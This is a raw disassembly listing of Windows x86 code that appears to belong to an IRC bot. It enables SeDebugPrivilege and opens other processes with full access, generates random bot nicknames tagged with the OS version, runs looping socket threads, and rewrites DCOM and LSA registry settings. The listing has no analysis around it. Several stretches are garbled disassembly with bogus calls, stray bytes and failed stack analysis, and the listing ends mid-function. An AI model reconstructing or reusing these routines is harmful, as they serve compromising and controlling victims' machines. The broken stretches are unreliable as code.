jmp loc_411FFB
; ---------------------------------------------------------------------------
loc_411F3C: ; CODE XREF: sub_411ED9+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_411FFB
; ---------------------------------------------------------------------------
loc_411F46: ; CODE XREF: sub_411ED9+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_411FFB
; ---------------------------------------------------------------------------
loc_411F50: ; CODE XREF: sub_411ED9+1Aj
sub eax, 7Ch
jz short loc_411F7D
sub eax, 7C8h
jz short loc_411F76
dec eax
jz short loc_411F6C
dec eax
jnz short loc_411FDA
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_411FFB
; ---------------------------------------------------------------------------
loc_411F6C: ; CODE XREF: sub_411ED9+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_411FFB
; ---------------------------------------------------------------------------
loc_411F76: ; CODE XREF: sub_411ED9+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_411FFB
; ---------------------------------------------------------------------------
loc_411F7D: ; CODE XREF: sub_411ED9+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_411FFB
; ---------------------------------------------------------------------------
loc_411F84: ; CODE XREF: sub_411ED9+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_411FFB
; ---------------------------------------------------------------------------
loc_411F8B: ; CODE XREF: sub_411ED9+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_411FC4
jz short loc_411FBD
sub eax, 8ADh
jz short loc_411FEF
dec eax
dec eax
jz short loc_411FB6
dec eax
jz short loc_411FAF
dec eax
dec eax
jnz short loc_411FDA
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_411FFB
; ---------------------------------------------------------------------------
loc_411FAF: ; CODE XREF: sub_411ED9+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_411FFB
; ---------------------------------------------------------------------------
loc_411FB6: ; CODE XREF: sub_411ED9+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_411FFB
; ---------------------------------------------------------------------------
loc_411FBD: ; CODE XREF: sub_411ED9+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_411FFB
; ---------------------------------------------------------------------------
loc_411FC4: ; CODE XREF: sub_411ED9+B9j
sub eax, 8CAh
jz short loc_411FF6
sub eax, 17h
jz short loc_411FEF
sub eax, 25h
jz short loc_411FE8
sub eax, 29h
jz short loc_411FE1
loc_411FDA: ; CODE XREF: sub_411ED9+35j
; sub_411ED9+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_411FFB
; ---------------------------------------------------------------------------
loc_411FE1: ; CODE XREF: sub_411ED9+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_411FFB
; ---------------------------------------------------------------------------
loc_411FE8: ; CODE XREF: sub_411ED9+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_411FFB
; ---------------------------------------------------------------------------
loc_411FEF: ; CODE XREF: sub_411ED9+C2j
; sub_411ED9+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_411FFB
; ---------------------------------------------------------------------------
loc_411FF6: ; CODE XREF: sub_411ED9+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_411FFB: ; CODE XREF: sub_411ED9+40j
; sub_411ED9+4Aj ...
push offset dword_45DF70
call sub_4135AD
pop ecx
mov eax, offset dword_45DF70
pop ecx
retn
sub_411ED9 endp
; ---------------------------------------------------------------------------
loc_41200D: ; CODE XREF: seg000:0040D456p
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push dword ptr [ebp+8]
lea eax, [ebp-718h]
push eax
call sub_415A89
add esp, 0Ch
lea eax, [ebp+8]
mov esi, 108h
push eax
lea eax, [ebp-108h]
push eax
mov [ebp+8], esi
call near ptr 0A70000h
or al, 8Dh
test edi, eax
; ---------------------------------------------------------------------------
dw 0FFFEh
; ---------------------------------------------------------------------------
call dword ptr [esi+50h]
lea eax, [ebp-318h]
push eax
call sub_415A89
lea eax, [ebp-718h]
push eax
call sub_415A6C
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp-718h]
push eax
lea eax, [ebp-318h]
push 0
push eax
push 0
call ds:dword_42F718
test eax, eax
jnz short loc_41209D
mov esi, offset dword_45DD6C
push offset dword_42C798
push esi
call sub_4135AD
pop ecx
pop ecx
jmp short loc_4120C6
; ---------------------------------------------------------------------------
loc_41209D: ; CODE XREF: seg000:00412087j
lea ecx, [ebp-718h]
push ecx
lea ecx, [ebp-318h]
push ecx
push eax
call sub_411ED9
pop ecx
mov esi, offset dword_45DD6C
push eax
push offset dword_42C75C
push esi
call sub_4135AD
add esp, 14h
loc_4120C6: ; CODE XREF: seg000:0041209Bj
mov eax, esi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4120CB proc near ; CODE XREF: sub_40829B+7p
; sub_412136+5Fp ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call near ptr 0A70000h
inc edi
push eax
call ds:dword_42F6EC
test eax, eax
jnz short loc_4120EA
leave
retn
; ---------------------------------------------------------------------------
loc_4120EA: ; CODE XREF: sub_4120CB+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call ds:dword_42F6C4
test eax, eax
jz short loc_412128
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_412111
or [ebp+var_8], 2
jmp short loc_412115
; ---------------------------------------------------------------------------
loc_412111: ; CODE XREF: sub_4120CB+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_412115: ; CODE XREF: sub_4120CB+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call ds:dword_42F774
mov esi, eax
loc_412128: ; CODE XREF: sub_4120CB+32j
push [ebp+var_4]
call ds:dword_41F070 ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_4120CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412136 proc near ; CODE XREF: seg000:0040FB34p
; sub_4122E7+74p
var_550 = byte ptr -550h
var_350 = dword ptr -350h
var_34C = byte ptr -34Ch
var_230 = byte ptr -230h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = dword ptr -124h
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 550h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp ds:dword_42F728, ebx
lea edi, [ebp+var_128]
mov [ebp+var_12C], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_34C]
mov [ebp+var_350], ebx
rep stosd
jz loc_4122E0
cmp ds:dword_42F70C, ebx
jz loc_4122E0
cmp ds:dword_42F628, ebx
jz loc_4122E0
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_4120CB
pop ecx
pop ecx
push ebx
push 0Fh
call ds:dword_42F728
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_4122D3
lea eax, [ebp+var_12C]
mov [ebp+var_12C], 128h
push eax
push [ebp+var_4]
call ds:dword_42F70C
mov esi, ds:dword_41F070
test eax, eax
jz loc_4122CE
loc_4121D9: ; CODE XREF: sub_412136+BEj
; sub_412136+CCj ...
lea eax, [ebp+var_12C]
push eax
push [ebp+var_4]
call ds:dword_42F628
test eax, eax
jz loc_4122CE
cmp [ebp+arg_10], ebx
jnz short loc_4121D9
cmp [ebp+arg_C], ebx
jnz loc_412286
cmp [ebp+arg_4], ebx
jz short loc_4121D9
push [ebp+var_124]
push 8
call ds:dword_42F728
cmp [ebp+arg_14], ebx
mov edi, eax
mov [ebp+var_350], 224h
jz short loc_412243
lea eax, [ebp+var_350]
push eax
push edi
call ds:dword_42F5D4
push [ebp+var_124]
test eax, eax
jz short loc_412249
lea eax, [ebp+var_230]
jmp short loc_41224F
; ---------------------------------------------------------------------------
loc_412243: ; CODE XREF: sub_412136+EBj
push [ebp+var_124]
loc_412249: ; CODE XREF: sub_412136+103j
lea eax, [ebp+var_108]
loc_41224F: ; CODE XREF: sub_412136+10Bj
push eax
lea eax, [ebp+var_550]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_4135AD
add esp, 10h
lea eax, [ebp+var_550]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 14h
push edi
call esi ; dword_41F070
jmp loc_4121D9
; ---------------------------------------------------------------------------
loc_412286: ; CODE XREF: sub_412136+C3j
push [ebp+arg_C]
lea eax, [ebp+var_108]
push eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz loc_4121D9
push [ebp+var_124]
push ebx
push 1F0FFFh
call near ptr 0A70000h
loc_4122B0: ; CODE XREF: sub_412136+17Cj
in al, 0FFh
jnz short loc_4122B0
mov edi, eax
call esi ; dword_41F070
push ebx
push edi
call near ptr 0A70000h
hlt
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_4122C9
push edi
call esi ; CloseHandle
jmp short loc_4122E0
; ---------------------------------------------------------------------------
loc_4122C9: ; CODE XREF: sub_412136+18Cj
push 1
pop eax
jmp short loc_4122E2
; ---------------------------------------------------------------------------
loc_4122CE: ; CODE XREF: sub_412136+9Dj
; sub_412136+B5j
push [ebp+var_4]
call esi ; dword_41F070
loc_4122D3: ; CODE XREF: sub_412136+75j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_4120CB
pop ecx
pop ecx
loc_4122E0: ; CODE XREF: sub_412136+3Aj
; sub_412136+46j ...
xor eax, eax
loc_4122E2: ; CODE XREF: sub_412136+196j
pop edi
pop esi
pop ebx
leave
retn
sub_412136 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4122E7 proc near ; DATA XREF: seg000:004106ECo
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset dword_42C868
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_4135AD
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_412346
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_4110B0
add esp, 14h
loc_412346: ; CODE XREF: sub_4122E7+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_412136
add esp, 18h
test eax, eax
jnz short loc_41236E
push offset dword_42C82C
jmp short loc_412373
; ---------------------------------------------------------------------------
loc_41236E: ; CODE XREF: sub_4122E7+7Ej
push offset dword_42C7F4
loc_412373: ; CODE XREF: sub_4122E7+85j
lea eax, [ebp+var_298]
push eax
call sub_4135AD
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_4123A6
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_4110B0
add esp, 14h
loc_4123A6: ; CODE XREF: sub_4122E7+9Dj
lea eax, [ebp+var_298]
push eax
call sub_409615
push [ebp+var_14]
call sub_413375
pop ecx
pop ecx
push esi
call near ptr 0A70000h
or al, 5Fh
pop esi
sub_4122E7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4123C5 proc far ; CODE XREF: seg000:0040FAD6p
; sub_413194+53p
push esi
push edi
push 1
pop edi
push dword ptr [esp+0Ch]
push 0
push 1F0FFFh
call near ptr 0A70000h
retf 0F08Bh
sub_4123C5 endp
; ---------------------------------------------------------------------------
db 85h, 0F6h, 74h
dd 56006A16h, 65DC17E8h, 0C0855700h, 33560975h, 7015FFFFh
dd 8B0041F0h, 0C35E5FC7h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4123FC proc near ; CODE XREF: seg000:00403914p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call sub_413609
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul ds:dbl_41F660
call sub_414024
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_4123FC endp
; =============== S U B R O U T I N E =======================================
sub_41242C proc near ; CODE XREF: sub_412797+49p
; DATA XREF: seg002:off_42C8B0o
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
push esi
push edi
call ds:dword_41F044 ; GetTickCount
push eax
call sub_4135FF
mov edi, [esp+0Ch+arg_0]
mov [esp+0Ch+var_C], offset dword_4282B8
push offset aS_1 ; "%s"
push 1Ch
push edi
call sub_413B2A
xor esi, esi
add esp, 10h
cmp ds:dword_428240, esi
jle short loc_412485
loc_41245F: ; CODE XREF: sub_41242C+57j
call sub_413609
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42C904
push 1Ch
push edi
call sub_413B2A
add esp, 14h
inc esi
cmp esi, ds:dword_428240
jl short loc_41245F
loc_412485: ; CODE XREF: sub_41242C+31j
mov eax, edi
pop edi
pop esi
retn
sub_41242C endp
; =============== S U B R O U T I N E =======================================
sub_41248A proc near ; CODE XREF: seg000:0040F0A9p
arg_0 = dword ptr 4
push ebx
push esi
push edi
call ds:dword_41F044 ; GetTickCount
push eax
call sub_4135FF
pop ecx
call sub_413609
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, ds:dword_428240
test esi, esi
jle short loc_4124CD
loc_4124B7: ; CODE XREF: sub_41248A+41j
call sub_413609
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_4124B7
loc_4124CD: ; CODE XREF: sub_41248A+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41248A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
call ds:dword_41F044 ; GetTickCount
push eax
call sub_4135FF
pop ecx
lea eax, [ebp-8]
mov esi, offset dword_42C90C
push eax
push esi
call near ptr 0A70000h
mov dl, 0Fh
mov esi, 42C90C05h
add [edx+41h], ch
pop ecx
push 1
pop edx
loc_412513: ; CODE XREF: seg000:0041251Ej
cmp eax, ecx
jnz short loc_41251A
mov [ebp-4], edx
loc_41251A: ; CODE XREF: seg000:00412515j
inc ecx
cmp ecx, 5Bh
jl short loc_412513
push 61h
pop ecx
loc_412523: ; CODE XREF: seg000:0041252Ej
cmp eax, ecx
jnz short loc_41252A
mov [ebp-4], edx
loc_41252A: ; CODE XREF: seg000:00412525j
inc ecx
cmp ecx, 7Bh
jl short loc_412523
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_413B2A
xor esi, esi
add esp, 0Ch
cmp ds:dword_428240, esi
jle short loc_41256F
loc_412549: ; CODE XREF: seg000:0041256Dj
call sub_413609
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42C904
push 1Ch
push edi
call sub_413B2A
add esp, 14h
inc esi
cmp esi, ds:dword_428240
jl short loc_412549
loc_41256F: ; CODE XREF: seg000:00412547j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call ds:dword_41F044 ; GetTickCount
push eax
call sub_4135FF
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call ds:dword_41F138 ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_42C910
push 1Ch
push edi
call sub_413B2A
xor esi, esi
add esp, 10h
cmp ds:dword_428240, esi
jle short loc_4125E4
loc_4125BE: ; CODE XREF: seg000:004125E2j
call sub_413609
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42C904
push 1Ch
push edi
call sub_413B2A
add esp, 14h
inc esi
cmp esi, ds:dword_428240
jl short loc_4125BE
loc_4125E4: ; CODE XREF: seg000:004125BCj
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_42E348
mov dword ptr [ebp-94h], 94h
call ds:dword_41F0FC ; GetVersionExA
call ds:dword_41F044 ; GetTickCount
push eax
call sub_4135FF
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_41266E
cmp dword ptr [ebp-8Ch], 0
jnz short loc_41264E
cmp dword ptr [ebp-84h], 1
jnz short loc_41263E
mov esi, offset a95 ; "95"
loc_41263E: ; CODE XREF: seg000:00412637j
cmp dword ptr [ebp-84h], 2
jnz short loc_4126AA
mov esi, offset aNt ; "NT"
jmp short loc_4126AA
; ---------------------------------------------------------------------------
loc_41264E: ; CODE XREF: seg000:0041262Ej
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_41265E
mov esi, offset a98 ; "98"
jmp short loc_4126AA
; ---------------------------------------------------------------------------
loc_41265E: ; CODE XREF: seg000:00412655j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_4126A5
mov esi, offset aMe ; "ME"
jmp short loc_4126AA
; ---------------------------------------------------------------------------
loc_41266E: ; CODE XREF: seg000:00412625j
cmp dword ptr [ebp-90h], 5
jnz short loc_4126A5
cmp dword ptr [ebp-8Ch], 0
jnz short loc_412687
mov esi, offset a2k ; "2K"
jmp short loc_4126AA
; ---------------------------------------------------------------------------
loc_412687: ; CODE XREF: seg000:0041267Ej
cmp dword ptr [ebp-8Ch], 1
jnz short loc_412697
mov esi, offset aXp ; "XP"
jmp short loc_4126AA
; ---------------------------------------------------------------------------
loc_412697: ; CODE XREF: seg000:0041268Ej
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_42C91C
jz short loc_4126AA
loc_4126A5: ; CODE XREF: seg000:00412665j
; seg000:00412675j
mov esi, offset dword_427868
loc_4126AA: ; CODE XREF: seg000:00412645j
; seg000:0041264Cj ...
mov edi, [ebp+8]
push esi
push offset dword_42C914
push 1Ch
push edi
call sub_413B2A
xor esi, esi
add esp, 10h
cmp ds:dword_428240, esi
jle short loc_4126EE
loc_4126C8: ; CODE XREF: seg000:004126ECj
call sub_413609
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42C904
push 1Ch
push edi
call sub_413B2A
add esp, 14h
inc esi
cmp esi, ds:dword_428240
jl short loc_4126C8
loc_4126EE: ; CODE XREF: seg000:004126C6j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4126F4 proc near ; CODE XREF: sub_412797+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call ds:dword_41F044 ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_412743
call ds:dword_42F714
test eax, eax
mov eax, offset dword_42C928
jnz short loc_41272C
mov eax, offset byte_42E348
loc_41272C: ; CODE XREF: sub_4126F4+31j
push eax
push esi
push offset dword_42C920
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_413B2A
add esp, 14h
jmp short loc_412763
; ---------------------------------------------------------------------------
loc_412743: ; CODE XREF: sub_4126F4+22j
call ds:dword_42F714
test eax, eax
mov eax, offset dword_42C928
jnz short loc_412757
mov eax, offset byte_42E348
loc_412757: ; CODE XREF: sub_4126F4+5Cj
push eax
lea eax, [ebp+var_1C]
push eax
call sub_4135AD
pop ecx
pop ecx
loc_412763: ; CODE XREF: sub_4126F4+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_413DB0
pop ecx
cmp eax, 2
pop esi
jbe short loc_412792
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_414FA0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_414DD0
add esp, 18h
loc_412792: ; CODE XREF: sub_4126F4+7Dj
mov eax, [ebp+arg_0]
leave
retn
sub_4126F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412797 proc near ; CODE XREF: sub_40B07B+7Fp
; sub_40B1E3+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_42C8AC
loc_4127A3: ; CODE XREF: sub_412797+3Fj
cmp [ebp+arg_C], 0
jz short loc_4127BE
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_4139D0
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_4127C8
; ---------------------------------------------------------------------------
loc_4127BE: ; CODE XREF: sub_412797+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_4127C8: ; CODE XREF: sub_412797+25j
test eax, eax
jnz short loc_4127DA
add esi, 14h
inc edi
cmp esi, offset dword_42C910
jl short loc_4127A3
jmp short loc_4127E8
; ---------------------------------------------------------------------------
loc_4127DA: ; CODE XREF: sub_412797+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call ds:off_42C8B0[eax*4]
pop ecx
loc_4127E8: ; CODE XREF: sub_412797+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_4127FB
push [ebp+arg_0]
call sub_4126F4
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4127FB: ; CODE XREF: sub_412797+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_412797 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412800 proc near ; DATA XREF: sub_4128CD+7Bo
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0B8h
mov eax, [ebp+arg_0]
push esi
push edi
push 2Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_B8]
push 1
rep movsd
pop esi
mov [eax+0A4h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_413630
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_34]
call ds:dword_42F708
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call ds:dword_42F788
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4128BE
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call ds:dword_42F6B0
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov ds:dword_4348A4[ecx], esi
jz short loc_4128BE
push [ebp+var_34]
push [ebp+var_28]
call ds:dword_42F794
push eax
mov edi, offset dword_45E5D4
push offset unk_42C92C
push edi
call sub_4135AD
push 0
lea eax, [ebp+var_B4]
push [ebp+var_20]
push edi
push eax
push [ebp+var_B8]
call sub_4110B0
push edi
call sub_409615
add esp, 28h
loc_4128BE: ; CODE XREF: sub_412800+5Dj
; sub_412800+7Ej
push esi
call ds:dword_42F7A0
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_412800 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4128CD proc near ; DATA XREF: seg000:0040E80Co
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Ah
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, ds:dword_41F058
mov dword ptr [ebx+0A0h], 1
xor edi, edi
loc_4128FB: ; CODE XREF: sub_4128CD+ECj
push [ebp+var_2C]
push [ebp+var_20]
call ds:dword_42F794
push eax
lea eax, [ebp+var_130]
push offset unk_42C968
push eax
call sub_4135AD
lea eax, [ebp+var_130]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_434698
push eax
call sub_414DD0
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_412800
push edi
push edi
call ds:dword_41F06C ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_412967
loc_41295C: ; CODE XREF: sub_4128CD+98j
cmp [ebp+var_C], edi
jnz short loc_412967
push 32h
call esi ; dword_41F058
jmp short loc_41295C
; ---------------------------------------------------------------------------
loc_412967: ; CODE XREF: sub_4128CD+8Dj
; sub_4128CD+92j
push [ebp+var_4]
call ds:dword_41F070 ; CloseHandle
push dword ptr [ebx+88h]
mov [ebx+0A4h], edi
call esi ; dword_41F058
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call sub_413690
add esp, 0Ch
push [ebp+arg_0]
call ds:dword_42F63C
inc eax
push eax
mov [ebp+arg_0], eax
call ds:dword_42F704
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call sub_413690
add esp, 0Ch
jmp loc_4128FB
sub_4128CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4129BE proc near ; DATA XREF: seg000:00410D08o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_412A05
call sub_412A1E
jmp short loc_412A0A
; ---------------------------------------------------------------------------
loc_412A05: ; CODE XREF: sub_4129BE+3Ej
call sub_412D42
loc_412A0A: ; CODE XREF: sub_4129BE+45j
add esp, 10h
push [ebp+var_14]
call sub_413375
pop ecx
push 0
call near ptr 0A70000h
lodsd
sub_4129BE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412A1E proc near ; CODE XREF: sub_4129BE+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp ds:dword_42F7D8, edi
jnz loc_412B50
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call ds:dword_42F778
test eax, eax
jnz short loc_412AA9
mov ax, ds:word_42CD50
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call ds:dword_42F72C
test eax, eax
jz short loc_412A8B
push offset unk_42CD0C
jmp short loc_412A90
; ---------------------------------------------------------------------------
loc_412A8B: ; CODE XREF: sub_412A1E+64j
push offset dword_42CCDC
loc_412A90: ; CODE XREF: sub_412A1E+6Bj
lea eax, [ebp+var_214]
push eax
call sub_4135AD
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_42F6E4
jmp short loc_412ABC
; ---------------------------------------------------------------------------
loc_412AA9: ; CODE XREF: sub_412A1E+36j
lea eax, [ebp+var_214]
push offset unk_42CC98
push eax
call sub_4135AD
pop ecx
pop ecx
loc_412ABC: ; CODE XREF: sub_412A1E+89j
cmp [ebp+arg_C], edi
jnz short loc_412ADB
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 14h
loc_412ADB: ; CODE XREF: sub_412A1E+A1j
lea eax, [ebp+var_214]
push eax
call sub_409615
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call ds:dword_42F778
test eax, eax
jnz short loc_412B49
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
